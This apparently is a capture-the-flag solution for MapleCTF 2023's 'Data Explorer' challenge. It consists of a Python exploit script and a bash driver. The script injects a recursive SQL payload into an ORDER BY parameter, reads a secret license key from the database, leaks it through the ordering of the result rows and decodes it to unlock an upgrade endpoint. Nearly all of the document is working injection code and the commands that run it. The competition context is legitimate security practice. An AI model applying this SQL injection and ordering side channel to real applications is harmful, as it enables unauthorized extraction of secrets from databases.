MapleCTF 2023 Data Explorer solution

explorer.py

#!/bin/env python3

import math
import re
import sys

ALPHABET = "".join(chr(0x100 + x) for x in range(11 * 17))

PAYLOAD = """
WITH RECURSIVE
    builder AS (
        SELECT 0 AS i, '' AS out
        UNION ALL
        SELECT i + 1 as i, out || char(0x100 + i)
        FROM builder
        WHERE i < 11 * 17
    ),
    globals AS (
        SELECT
            {} AS round,
            '00000000' || (SELECT "key" FROM license) AS "key",
            (SELECT out FROM builder WHERE builder.i = 11 * 17) AS alphabet
    ),
    chunk_input AS (
        SELECT 0 AS chunk_i
        UNION ALL
        SELECT chunk_i + 1 AS chunk_i
        FROM chunk_input
        WHERE chunk_i < 10
    ),
    chunk AS (
        SELECT
            chunk_i,
            substr(globals."key", chunk_i * 12 + 1 + (globals.round * 132), 12) AS hex,
            substr(globals.alphabet, chunk_i * 17 + 1, 17) AS alphabet
        FROM chunk_input, globals
    ),
    chunk_output AS (
        SELECT
            chunk_i,
            (
                WITH RECURSIVE
                unhex AS (
                    SELECT chunk.hex AS input, 0 AS out
                    UNION ALL
                    SELECT substr(input, 2) AS input, (instr('0123456789abcdef', substr(input, 1, 1)) - 1) + (out << 4) AS out
                    FROM unhex
                    WHERE length(input) > 0
                ),
                factorial AS (
                    SELECT
                        (SELECT out FROM unhex WHERE length(unhex.input) == 0) AS input,
                        1 AS n,
                        0 AS out
                    UNION ALL
                    SELECT input / (n + 1) AS input, n + 1 AS n, input % (n + 1)
                    FROM factorial
                    WHERE n < 17
                ),
                permutation AS (
                    SELECT 17 AS n, '' AS out, chunk.alphabet AS alphabet
                    UNION ALL
                    SELECT
                        permutation.n - 1 AS n,
                        permutation.out || substr(alphabet, (SELECT factorial.out FROM factorial WHERE factorial.n == permutation.n) + 1, 1) AS out,
                        replace(alphabet, substr(alphabet, (SELECT factorial.out FROM factorial WHERE factorial.n == permutation.n) + 1, 1), '') AS alphabet
                    FROM permutation
                    WHERE n > 0
                )
                SELECT out FROM permutation WHERE n = 0
            ) as out
        FROM chunk
    ),
    total AS (
        SELECT 0 as i, '' as out
        UNION ALL
        SELECT total.i + 1 as i, total.out || (SELECT chunk_output.out FROM chunk_output WHERE chunk_output.chunk_i = total.i)
        FROM total
        WHERE total.i < 11
    )
SELECT total.out
FROM total
WHERE total.i = 11
"""


def extract_html(html):
    out = "".join(re.findall(r"<td>(\D)</td>", html))
    assert len(out) == 187
    return out


# aka lehmer encode
def unselect(l):
    l = l[:]
    for i in range(len(l)):
        for j in range(i + 1, len(l)):
            if l[j] > l[i]:
                assert l[j] >= 1
                l[j] -= 1
    return list(reversed(l))


def from_factorial(l):
    x = 0
    for i, k in zip(range(17), l):
        x += math.factorial(i) * k
    return x


def solve_chunk(chunk, alphabet):
    select_l = [alphabet.index(c) for c in chunk]
    factorial_l = unselect(select_l)
    x = from_factorial(factorial_l)

    return x


def solve(part1, part2):
    assert len(part1) == len(part2) == 187

    total = ""

    for part in [part1, part2]:
        for i in range(11):
            start = i * 17
            chunk = part[start:][:17]
            alphabet = ALPHABET[17 * i :][:17]

            num = solve_chunk(chunk, alphabet)
            hex = f"{num:012x}"
            total += hex

    total = total[8:]
    return total


def gen_csv():
    return "\n".join(["column,k"] + [f"{chr(0x100 + i)},0" for i in range(11 * 17)])


def gen_sql(round):
    payload = PAYLOAD.format(round)
    wrapper = "ASC, instr(({}), column) ASC".format(" ".join(payload.split()))
    return wrapper


if __name__ == "__main__":
    if sys.argv[1] == "csv":
        print(gen_csv())
    elif sys.argv[1] == "sql":
        print(gen_sql(sys.argv[2]))
    elif sys.argv[1] == "html":
        print(extract_html(sys.stdin.read()))
    elif sys.argv[1] == "solve":
        print(solve(sys.argv[2], sys.argv[3]))

explorer.sh

#!/bin/bash

set -euvo pipefail

ENDPOINT='http://localhost:8000'
SCRIPT="python3 ./explorer.py"

CSV=$($SCRIPT csv)
URL=$(echo "$CSV" | curl "$ENDPOINT/create" -F "file=@-" -w "%{redirect_url}" -s -o /dev/null)
echo "$URL"

UUID="${URL##*/}"
echo "$UUID"

SQL0=$($SCRIPT sql 0 | curl "$ENDPOINT/view/$UUID" --data-urlencode order-col=k --data-urlencode order-od@- | $SCRIPT html)
SQL1=$($SCRIPT sql 1 | curl "$ENDPOINT/view/$UUID" --data-urlencode order-col=k --data-urlencode order-od@- | $SCRIPT html)

KEY=$($SCRIPT solve "$SQL0" "$SQL1")

curl "$ENDPOINT/upgrade/$UUID" --data-urlencode "key=$KEY"